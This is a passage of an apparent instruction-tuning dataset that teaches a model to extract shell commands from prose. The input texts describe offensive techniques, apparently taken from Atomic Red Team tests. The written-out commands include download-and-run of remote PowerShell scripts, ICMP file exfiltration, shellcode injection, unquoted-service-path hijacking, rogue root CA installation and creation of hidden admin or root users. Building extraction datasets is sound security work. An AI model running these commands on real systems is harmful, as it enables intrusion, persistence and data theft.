    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To exploit the Unquoted Service Path vulnerability, where a service executable path with spaces isn't quoted, follow these steps by executing the command: copy \"#{service_executable}\" \"C:\\Program Files\\windows_service.exe\"\ncopy \"#{service_executable}\" \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n; The technique of embedding a tarball within an image for data obfuscation is achieved by executing this command: Get-Content \"#{image_file}\", \"#{tar_file}\" -Encoding byte -ReadCount 0 | Set-Content \"#{new_image_file}\" -Encoding byte",
    "output": "{\"command_list\": [\"copy \\\"#{service_executable}\\\" \\\"C:\\\\Program Files\\\\windows_service.exe\\\"\\ncopy \\\"#{service_executable}\\\" \\\"C:\\\\program.exe\\\"\\nsc create \\\"Example Service\\\" binpath= \\\"C:\\\\Program Files\\\\windows_service.exe\\\" Displayname= \\\"Example Service\\\" start= auto\\nsc start \\\"Example Service\\\"\\n\", \"Get-Content \\\"#{image_file}\\\", \\\"#{tar_file}\\\" -Encoding byte -ReadCount 0 | Set-Content \\\"#{new_image_file}\\\" -Encoding byte\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The test demonstrates how an adversary might use control.exe to execute calc.exe, achieved via the command: control.exe \"#{cpl_file_path}\"; To exfiltrate a specified file over ICMP protocol, use the following PowerShell command which will send the file in chunks via ping: $ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send(\"#{ip_address}\", 1500, $Data) }",
    "output": "{\"command_list\": [\"control.exe \\\"#{cpl_file_path}\\\"\\n\", \"$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send(\\\"#{ip_address}\\\", 1500, $Data) }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By leveraging RWX sections in PE files, this injection method bypasses detection mechanisms that monitor API calls like VirtualAlloc. To execute the shellcode (which displays a message box and notepad), run the following: $address = (& \"$PathToAtomicsFolder\\T1055\\bin\\x64\\searchVuln.exe\" \"$PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\\" | Out-String | Select-String -Pattern \"VirtualAddress: (\\\\w+)\").Matches.Groups[1].Value\n& \"PathToAtomicsFolder\\T1055\\bin\\x64\\RWXinjectionLocal.exe\" \"#{vuln_dll}\" $address; To execute shellcode without using suspicious APIs, you can leverage WinAPI's UuidFromStringA and EnumSystemLocalesA, like this: $PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug",
    "output": "{\"command_list\": [\"$address = (& \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\searchVuln.exe\\\" \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\vuln_dll\\\\\\\" | Out-String | Select-String -Pattern \\\"VirtualAddress: (\\\\w+)\\\").Matches.Groups[1].Value\\n& \\\"PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\RWXinjectionLocal.exe\\\" \\\"#{vuln_dll}\\\" $address\\n\", \"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\UuidFromStringA.exe -debug\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves creating a root CA with certutil via the command: certutil -addstore my #{pfx_path}; The test clones a root CA certificate into registry locations such as \\SystemCertificates\\Root\\Certificates, which can be initiated with this PowerShell command: IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \n",
    "output": "{\"command_list\": [\"certutil -addstore my #{pfx_path}\\n\", \"IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To stop a specific service, you can use the following command: net.exe stop #{service_name}. This will display a message indicating whether the service was successfully stopped or if it wasn't running.; This technique, famously employed by WannaCry, kills a service's process via the command: taskkill.exe /f /im #{process_name}",
    "output": "{\"command_list\": [\"net.exe stop #{service_name}\\n\", \"taskkill.exe /f /im #{process_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary could leverage WMI to enumerate running processes on the compromised host, which can be achieved by executing the following command: wmic process get caption,executablepath,commandline /format:csv; When investigating system updates, one might use WMI to retrieve patch information via this command: wmic qfe get description,installedOn /format:csv",
    "output": "{\"command_list\": [\"wmic process get caption,executablepath,commandline /format:csv\\n\", \"wmic qfe get description,installedOn /format:csv\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To search through bash history for specific commands, use the following command: cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\n; You can capture specific commands from shell history by executing this command: cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}\n",
    "output": "{\"command_list\": [\"cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\\n\", \"cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This method creates a privileged user in FreeBSD, as seen in the Butter campaign, with the command:\npw useradd #{username} -g 0 -d /root -s /bin/sh\necho \"#{password}\" | pw usermod #{username} -h 0; To create a new admin user in the command prompt, use the following commands:\nnet user /add \"#{username}\" \"#{password}\"\nnet localgroup administrators \"#{username}\" /add\n",
    "output": "{\"command_list\": [\"pw useradd #{username} -g 0 -d /root -s /bin/sh\\necho \\\"#{password}\\\" | pw usermod #{username} -h 0\\n\", \"net user /add \\\"#{username}\\\" \\\"#{password}\\\"\\nnet localgroup administrators \\\"#{username}\\\" /add\\n\"]}"
  },
  {
